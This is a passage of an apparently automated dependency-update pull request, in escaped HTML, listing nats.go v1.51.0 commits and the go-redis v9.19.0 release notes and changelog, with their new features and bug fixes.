href=\"https://redirect.github.com/nats-io/nats.go/issues/2047\"\u003e#2047\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eComplete Changes\u003c/h3\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/nats-io/nats.go/compare/v1.50.0...v1.51.0\"\u003ehttps://github.com/nats-io/nats.go/compare/v1.50.0...v1.51.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/17b6fd141ba960bdc07278101f8b6381293bbfe1\"\u003e\u003ccode\u003e17b6fd1\u003c/code\u003e\u003c/a\u003e Release v1.51.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2061\"\u003e#2061\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/b6d0226cf77762c3d73f337b84ebac48c31eb22a\"\u003e\u003ccode\u003eb6d0226\u003c/code\u003e\u003c/a\u003e [ADDED] Accessors for JS API level and IsSysAccount (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2060\"\u003e#2060\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/7a2bb4ab8d5c2fc04d569b8176f58e427362f549\"\u003e\u003ccode\u003e7a2bb4a\u003c/code\u003e\u003c/a\u003e [IMPROVED] Code linting: remove functions min and max (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2047\"\u003e#2047\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/0099a322759de0aa0c05f1d18281c65ab2f516b4\"\u003e\u003ccode\u003e0099a32\u003c/code\u003e\u003c/a\u003e [IMPROVED] Fix deprecation warnings by bumping GH actions to their latest ver...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/e23b40df651299adb61ffd593a429db7afa231c3\"\u003e\u003ccode\u003ee23b40d\u003c/code\u003e\u003c/a\u003e [FIXED] Deadlock in Consume() whe calling Stop/Drain from ConsumeErrHandler (...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/1250dd658d7daf729bd4146febe9e1c3b6e10b93\"\u003e\u003ccode\u003e1250dd6\u003c/code\u003e\u003c/a\u003e [ADDED] Automatic reconnect on write error option (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2055\"\u003e#2055\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/e4a8c79c93097cc7abd239f757e2218f0520fb02\"\u003e\u003ccode\u003ee4a8c79\u003c/code\u003e\u003c/a\u003e [ADDED] Option to customize write buffer size (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2057\"\u003e#2057\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/9a88c4caea9eb8162127a53bdc6c22ca63480012\"\u003e\u003ccode\u003e9a88c4c\u003c/code\u003e\u003c/a\u003e Update Claude workflow permissions to contents:read and actions:read (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2056\"\u003e#2056\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/f945cd94fd0aad53ae6cc0623150c5d82d6beb06\"\u003e\u003ccode\u003ef945cd9\u003c/code\u003e\u003c/a\u003e [IMPROVED] Fix typos (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2049\"\u003e#2049\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/4bba5713456124ebdfc2655f685d722792252fba\"\u003e\u003ccode\u003e4bba571\u003c/code\u003e\u003c/a\u003e [FIXED] Make websocket frame validation more robust (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2050\"\u003e#2050\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/nats-io/nats.go/compare/v1.50.0...v1.51.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/redis/go-redis/v9` from 9.18.0 to 9.19.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/redis/go-redis/releases\"\u003egithub.com/redis/go-redis/v9's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e9.19.0\u003c/h2\u003e\n\u003ch2\u003e🚀 Highlights\u003c/h2\u003e\n\u003ch3\u003eFIPS-Compatible Script Helper\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003eScript\u003c/code\u003e now supports a FIPS-safe execution mode that avoids client-side SHA-1 computation, which is blocked in strict FIPS environments. A new \u003ccode\u003eNewScriptServerSHA\u003c/code\u003e constructor uses \u003ccode\u003eSCRIPT LOAD\u003c/code\u003e to obtain and cache the digest from the server, then runs commands via \u003ccode\u003eEVALSHA\u003c/code\u003e/\u003ccode\u003eEVALSHA_RO\u003c/code\u003e. Falls back to \u003ccode\u003eEVAL\u003c/code\u003e/\u003ccode\u003eEVALRO\u003c/code\u003e if loading fails, and transparently retries once on \u003ccode\u003eNOSCRIPT\u003c/code\u003e. The default behavior is unchanged for existing users.\u003c/p\u003e\n\u003cp\u003e(\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3700\"\u003e#3700\u003c/a\u003e) by \u003ca href=\"https://github.com/chaitanyabodlapati\"\u003e\u003ccode\u003e@​chaitanyabodlapati\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eFT.AGGREGATE Step-Based Pipeline Builder\u003c/h3\u003e\n\u003cp\u003eAdded a new step-based \u003ccode\u003eFT.AGGREGATE\u003c/code\u003e pipeline API via \u003ccode\u003eFTAggregateOptions.Steps\u003c/code\u003e, allowing \u003ccode\u003eLOAD\u003c/code\u003e, \u003ccode\u003eAPPLY\u003c/code\u003e, \u003ccode\u003eGROUPBY\u003c/code\u003e, and \u003ccode\u003eSORTBY\u003c/code\u003e (with per-step \u003ccode\u003eMAX\u003c/code\u003e) to be repeated and interleaved in arbitrary order — matching Redis's native multi-stage aggregation semantics. The legacy \u003ccode\u003eLoad\u003c/code\u003e/\u003ccode\u003eApply\u003c/code\u003e/\u003ccode\u003eGroupBy\u003c/code\u003e/\u003ccode\u003eSortBy\u003c/code\u003e/\u003ccode\u003eSortByMax\u003c/code\u003e fields are now deprecated.\u003c/p\u003e\n\u003cp\u003e(\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3782\"\u003e#3782\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eRaw RESP Protocol Access\u003c/h3\u003e\n\u003cp\u003eAdded \u003ccode\u003eDoRaw\u003c/code\u003e and \u003ccode\u003eDoRawWriteTo\u003c/code\u003e methods for executing arbitrary commands and reading the raw RESP response. Useful for proxying, custom protocol inspection, and working with commands not yet wrapped by go-redis.\u003c/p\u003e\n\u003cp\u003e(\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3713\"\u003e#3713\u003c/a\u003e) by \u003ca href=\"https://github.com/ofekshenawa\"\u003e\u003ccode\u003e@​ofekshenawa\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eConfigurable Dial Retry Backoff\u003c/h3\u003e\n\u003cp\u003eAdded \u003ccode\u003eDialerRetryBackoff\u003c/code\u003e option (plumbed through \u003ccode\u003eOptions\u003c/code\u003e, \u003ccode\u003eClusterOptions\u003c/code\u003e, \u003ccode\u003eRingOptions\u003c/code\u003e, \u003ccode\u003eFailoverOptions\u003c/code\u003e) to let callers customize the delay between failed dial attempts. Helpers \u003ccode\u003eDialRetryBackoffConstant\u003c/code\u003e and \u003ccode\u003eDialRetryBackoffExponential\u003c/code\u003e (with jitter and cap) are provided out of the box. Dial timeout is now also applied \u003cstrong\u003eper attempt\u003c/strong\u003e rather than across all retries.\u003c/p\u003e\n\u003cp\u003e(\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3706\"\u003e#3706\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3705\"\u003e#3705\u003c/a\u003e) by \u003ca href=\"https://github.com/mwhooker\"\u003e\u003ccode\u003e@​mwhooker\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e✨ New Features\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eFT.AGGREGATE Steps\u003c/strong\u003e: Step-based pipeline builder for \u003ccode\u003eFT.AGGREGATE\u003c/code\u003e with support for repeated/interleaved \u003ccode\u003eLOAD\u003c/code\u003e, \u003ccode\u003eAPPLY\u003c/code\u003e, \u003ccode\u003eGROUPBY\u003c/code\u003e, and \u003ccode\u003eSORTBY\u003c/code\u003e stages (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3782\"\u003e#3782\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eVectorSet commands\u003c/strong\u003e: Added \u003ccode\u003eVISMEMBER\u003c/code\u003e and \u003ccode\u003eWITHATTRIBS\u003c/code\u003e support (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3753\"\u003e#3753\u003c/a\u003e) by \u003ca href=\"https://github.com/romanpovol\"\u003e\u003ccode\u003e@​romanpovol\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFIPS-safe Script\u003c/strong\u003e: \u003ccode\u003eNewScriptServerSHA\u003c/code\u003e uses \u003ccode\u003eSCRIPT LOAD\u003c/code\u003e to obtain the digest from the server, avoiding client-side SHA-1 (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3700\"\u003e#3700\u003c/a\u003e) by \u003ca href=\"https://github.com/chaitanyabodlapati\"\u003e\u003ccode\u003e@​chaitanyabodlapati\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eRaw RESP access\u003c/strong\u003e: \u003ccode\u003eDoRaw\u003c/code\u003e and \u003ccode\u003eDoRawWriteTo\u003c/code\u003e for raw RESP protocol access (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3713\"\u003e#3713\u003c/a\u003e) by \u003ca href=\"https://github.com/ofekshenawa\"\u003e\u003ccode\u003e@​ofekshenawa\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDial retry backoff\u003c/strong\u003e: \u003ccode\u003eDialerRetryBackoff\u003c/code\u003e function option with constant and exponential helpers (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3706\"\u003e#3706\u003c/a\u003e) by \u003ca href=\"https://github.com/mwhooker\"\u003e\u003ccode\u003e@​mwhooker\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eTyped NOSCRIPT error\u003c/strong\u003e: Redis \u003ccode\u003eNOSCRIPT\u003c/code\u003e replies are now surfaced as a typed error for easier handling (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3738\"\u003e#3738\u003c/a\u003e) by \u003ca href=\"https://github.com/LINKIWI\"\u003e\u003ccode\u003e@​LINKIWI\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePubSub ClientSetName\u003c/strong\u003e: Added \u003ccode\u003eClientSetName\u003c/code\u003e method to \u003ccode\u003ePubSub\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3727\"\u003e#3727\u003c/a\u003e) by \u003ca href=\"https://github.com/Flack74\"\u003e\u003ccode\u003e@​Flack74\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eReplicaOf\u003c/strong\u003e: New \u003ccode\u003eReplicaOf\u003c/code\u003e method replaces the deprecated \u003ccode\u003eSlaveOf\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3720\"\u003e#3720\u003c/a\u003e) by \u003ca href=\"https://github.com/apps/copilot-swe-agent\"\u003e\u003ccode\u003e@​Copilot\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eHSCAN BinaryUnmarshaler\u003c/strong\u003e: \u003ccode\u003eHScan\u003c/code\u003e now supports types implementing \u003ccode\u003eencoding.BinaryUnmarshaler\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3768\"\u003e#3768\u003c/a\u003e) by \u003ca href=\"https://github.com/Aaditya-dubey1\"\u003e\u003ccode\u003e@​Aaditya-dubey1\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🐛 Bug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eAuto hostname type detection\u003c/strong\u003e: Improved endpoint type detection for maintenance notifications using DNS-based classification; handles empty hosts and expanded private-IP ranges (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3789\"\u003e#3789\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eHELLO fallback\u003c/strong\u003e: Don't send \u003ccode\u003eCLIENT MAINT_NOTIFICATIONS\u003c/code\u003e handshake when \u003ccode\u003eHELLO\u003c/code\u003e fails and connection falls back to RESP2; fail fast when explicitly enabled with RESP3 (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3788\"\u003e#3788\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDial TCP retry\u003c/strong\u003e: \u003ccode\u003eShouldRetry\u003c/code\u003e now treats \u003ccode\u003enet.OpError\u003c/code\u003e with \u003ccode\u003eOp == \u0026quot;dial\u0026quot;\u003c/code\u003e timeout errors as safe to retry since no command was sent (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3787\"\u003e#3787\u003c/a\u003e) by \u003ca href=\"https://github.com/vladisa88\"\u003e\u003ccode\u003e@​vladisa88\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ewrappedOnClose leak\u003c/strong\u003e: Fixed resource leak caused by repeatedly wrapping \u003ccode\u003ebaseClient\u003c/code\u003e close logic; replaced with a bounded, concurrency-safe named-hook registry (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3785\"\u003e#3785\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePool Close() on stale connections\u003c/strong\u003e: Suppress close errors (e.g., TLS \u003ccode\u003ecloseNotify\u003c/code\u003e timeouts) for connections already dropped by the server due to idle timeout (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3778\"\u003e#3778\u003c/a\u003e) by \u003ca href=\"https://github.com/ofekshenawa\"\u003e\u003ccode\u003e@​ofekshenawa\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFIFO waiter ordering\u003c/strong\u003e: Fixed race in \u003ccode\u003eConnStateMachine.notifyWaiters\u003c/code\u003e that could wake multiple waiters under a single mutex hold and violate FIFO ordering (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3777\"\u003e#3777\u003c/a\u003e) by \u003ca href=\"https://github.com/0x48core\"\u003e\u003ccode\u003e@​0x48core\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eLua READONLY detection\u003c/strong\u003e: Detect \u003ccode\u003eREADONLY\u003c/code\u003e errors embedded in Lua script error messages on read-only replicas so commands are correctly retried (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3769\"\u003e#3769\u003c/a\u003e) by \u003ca href=\"https://github.com/zhengjilei\"\u003e\u003ccode\u003e@​zhengjilei\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eVectorScoreSliceCmd RESP2\u003c/strong\u003e: Fixed \u003ccode\u003eVSimWithScores\u003c/code\u003e, \u003ccode\u003eVSimWithArgsWithScores\u003c/code\u003e, and \u003ccode\u003eVLinksWithScores\u003c/code\u003e which were broken on RESP2 connections returning flat arrays instead of maps (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3767\"\u003e#3767\u003c/a\u003e) by \u003ca href=\"https://github.com/apps/copilot-swe-agent\"\u003e\u003ccode\u003e@​Copilot\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/redis/go-redis/blob/master/RELEASE-NOTES.md\"\u003egithub.com/redis/go-redis/v9's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e9.19.0 (2026-04-27)\u003c/h1\u003e\n\u003ch2\u003e🚀 Highlights\u003c/h2\u003e\n\u003ch3\u003eFIPS-Compatible Script Helper\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003eScript\u003c/code\u003e now supports a FIPS-safe execution mode that avoids client-side SHA-1 computation, which is blocked in strict FIPS environments. A new \u003ccode\u003eNewScriptServerSHA\u003c/code\u003e constructor uses \u003ccode\u003eSCRIPT LOAD\u003c/code\u003e to obtain and cache the digest from the server, then runs commands via \u003ccode\u003eEVALSHA\u003c/code\u003e/\u003ccode\u003eEVALSHA_RO\u003c/code\u003e. Falls back to \u003ccode\u003eEVAL\u003c/code\u003e/\u003ccode\u003eEVALRO\u003c/code\u003e if loading fails, and transparently retries once on \u003ccode\u003eNOSCRIPT\u003c/code\u003e. The default behavior is unchanged for existing users.\u003c/p\u003e\n\u003cp\u003e(\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3700\"\u003e#3700\u003c/a\u003e) by \u003ca href=\"https://github.com/chaitanyabodlapati\"\u003e\u003ccode\u003e@​chaitanyabodlapati\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eFT.AGGREGATE Step-Based Pipeline Builder\u003c/h3\u003e\n\u003cp\u003eAdded a new step-based \u003ccode\u003eFT.AGGREGATE\u003c/code\u003e pipeline API via \u003ccode\u003eFTAggregateOptions.Steps\u003c/code\u003e, allowing \u003ccode\u003eLOAD\u003c/code\u003e, \u003ccode\u003eAPPLY\u003c/code\u003e, \u003ccode\u003eGROUPBY\u003c/code\u003e, and \u003ccode\u003eSORTBY\u003c/code\u003e (with per-step \u003ccode\u003eMAX\u003c/code\u003e) to be repeated and interleaved in arbitrary order — matching Redis's native multi-stage aggregation semantics. The legacy \u003ccode\u003eLoad\u003c/code\u003e/\u003ccode\u003eApply\u003c/code\u003e/\u003ccode\u003eGroupBy\u003c/code\u003e/\u003ccode\u003eSortBy\u003c/code\u003e/\u003ccode\u003eSortByMax\u003c/code\u003e fields are now deprecated.\u003c/p\u003e\n\u003cp\u003e(\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3782\"\u003e#3782\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eRaw RESP Protocol Access\u003c/h3\u003e\n\u003cp\u003eAdded \u003ccode\u003eDoRaw\u003c/code\u003e and \u003ccode\u003eDoRawWriteTo\u003c/code\u003e methods for executing arbitrary commands and reading the raw RESP response. Useful for proxying, custom protocol inspection, and working with commands not yet wrapped by go-redis.\u003c/p\u003e\n\u003cp\u003e(\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3713\"\u003e#3713\u003c/a\u003e) by \u003ca href=\"https://github.com/ofekshenawa\"\u003e\u003ccode\u003e@​ofekshenawa\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eConfigurable Dial Retry Backoff\u003c/h3\u003e\n\u003cp\u003eAdded \u003ccode\u003eDialerRetryBackoff\u003c/code\u003e option (plumbed through \u003ccode\u003eOptions\u003c/code\u003e, \u003ccode\u003eClusterOptions\u003c/code\u003e, \u003ccode\u003eRingOptions\u003c/code\u003e, \u003ccode\u003eFailoverOptions\u003c/code\u003e) to let callers customize the delay between failed dial attempts. Helpers \u003ccode\u003eDialRetryBackoffConstant\u003c/code\u003e and \u003ccode\u003eDialRetryBackoffExponential\u003c/code\u003e (with jitter and cap) are provided out of the box. Dial timeout is now also applied \u003cstrong\u003eper attempt\u003c/strong\u003e rather than across all retries.\u003c/p\u003e\n\u003cp\u003e(\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3706\"\u003e#3706\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3705\"\u003e#3705\u003c/a\u003e) by \u003ca href=\"https://github.com/mwhooker\"\u003e\u003ccode\u003e@​mwhooker\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e✨ New Features\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eFT.AGGREGATE Steps\u003c/strong\u003e: Step-based pipeline builder for \u003ccode\u003eFT.AGGREGATE\u003c/code\u003e with support for repeated/interleaved \u003ccode\u003eLOAD\u003c/code\u003e, \u003ccode\u003eAPPLY\u003c/code\u003e, \u003ccode\u003eGROUPBY\u003c/code\u003e, and \u003ccode\u003eSORTBY\u003c/code\u003e stages (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3782\"\u003e#3782\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eVectorSet commands\u003c/strong\u003e: Added \u003ccode\u003eVISMEMBER\u003c/code\u003e and \u003ccode\u003eWITHATTRIBS\u003c/code\u003e support (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3753\"\u003e#3753\u003c/a\u003e) by \u003ca href=\"https://github.com/romanpovol\"\u003e\u003ccode\u003e@​romanpovol\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFIPS-safe Script\u003c/strong\u003e: \u003ccode\u003eNewScriptServerSHA\u003c/code\u003e uses \u003ccode\u003eSCRIPT LOAD\u003c/code\u003e to obtain the digest from the server, avoiding client-side SHA-1 (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3700\"\u003e#3700\u003c/a\u003e) by \u003ca href=\"https://github.com/chaitanyabodlapati\"\u003e\u003ccode\u003e@​chaitanyabodlapati\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eRaw RESP access\u003c/strong\u003e: \u003ccode\u003eDoRaw\u003c/code\u003e and \u003ccode\u003eDoRawWriteTo\u003c/code\u003e for raw RESP protocol access (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3713\"\u003e#3713\u003c/a\u003e) by \u003ca href=\"https://github.com/ofekshenawa\"\u003e\u003ccode\u003e@​ofekshenawa\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDial retry backoff\u003c/strong\u003e: \u003ccode\u003eDialerRetryBackoff\u003c/code\u003e function option with constant and exponential helpers (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3706\"\u003e#3706\u003c/a\u003e) by \u003ca href=\"https://github.com/mwhooker\"\u003e\u003ccode\u003e@​mwhooker\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eTyped NOSCRIPT error\u003c/strong\u003e: Redis \u003ccode\u003eNOSCRIPT\u003c/code\u003e replies are now surfaced as a typed error for easier handling (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3738\"\u003e#3738\u003c/a\u003e) by \u003ca href=\"https://github.com/LINKIWI\"\u003e\u003ccode\u003e@​LINKIWI\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePubSub ClientSetName\u003c/strong\u003e: Added \u003ccode\u003eClientSetName\u003c/code\u003e method to \u003ccode\u003ePubSub\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3727\"\u003e#3727\u003c/a\u003e) by \u003ca href=\"https://github.com/Flack74\"\u003e\u003ccode\u003e@​Flack74\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eReplicaOf\u003c/strong\u003e: New \u003ccode\u003eReplicaOf\u003c/code\u003e method replaces the deprecated \u003ccode\u003eSlaveOf\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3720\"\u003e#3720\u003c/a\u003e) by \u003ca href=\"https://github.com/apps/copilot-swe-agent\"\u003e\u003ccode\u003e@​Copilot\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eHSCAN BinaryUnmarshaler\u003c/strong\u003e: \u003ccode\u003eHScan\u003c/code\u003e now supports types implementing \u003ccode\u003eencoding.BinaryUnmarshaler\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3768\"\u003e#3768\u003c/a\u003e) by \u003ca href=\"https://github.com/Aaditya-dubey1\"\u003e\u003ccode\u003e@​Aaditya-dubey1\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🐛 Bug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eAuto hostname type detection\u003c/strong\u003e: Improved endpoint type detection for maintenance notifications using DNS-based classification; handles empty hosts and expanded private-IP ranges (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3789\"\u003e#3789\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eHELLO fallback\u003c/strong\u003e: Don't send \u003ccode\u003eCLIENT MAINT_NOTIFICATIONS\u003c/code\u003e handshake when \u003ccode\u003eHELLO\u003c/code\u003e fails and connection falls back to RESP2; fail fast when explicitly enabled with RESP3 (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3788\"\u003e#3788\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDial TCP retry\u003c/strong\u003e: \u003ccode\u003eShouldRetry\u003c/code\u003e now treats \u003ccode\u003enet.OpError\u003c/code\u003e with \u003ccode\u003eOp == \u0026quot;dial\u0026quot;\u003c/code\u003e timeout errors as safe to retry since no command was sent (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3787\"\u003e#3787\u003c/a\u003e) by \u003ca href=\"https://github.com/vladisa88\"\u003e\u003ccode\u003e@​vladisa88\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ewrappedOnClose leak\u003c/strong\u003e: Fixed resource leak caused by repeatedly wrapping \u003ccode\u003ebaseClient\u003c/code\u003e close logic; replaced with a bounded, concurrency-safe named-hook registry (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3785\"\u003e#3785\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePool Close() on stale connections\u003c/strong\u003e: Suppress close errors (e.g., TLS \u003ccode\u003ecloseNotify\u003c/code\u003e timeouts) for connections already dropped by the server due to idle timeout (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3778\"\u003e#3778\u003c/a\u003e) by \u003ca href=\"https://github.com/ofekshenawa\"\u003e\u003ccode\u003e@​ofekshenawa\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFIFO waiter ordering\u003c/strong\u003e: Fixed race in \u003ccode\u003eConnStateMachine.notifyWaiters\u003c/code\u003e that could wake multiple waiters under a single mutex hold and violate FIFO ordering (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3777\"\u003e#3777\u003c/a\u003e) by \u003ca href=\"https://github.com/0x48core\"\u003e\u003ccode\u003e@​0x48core\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eLua READONLY detection\u003c/strong\u003e: Detect \u003ccode\u003eREADONLY\u003c/code\u003e errors embedded in Lua script error messages on read-only replicas so commands are correctly retried (\u003ca 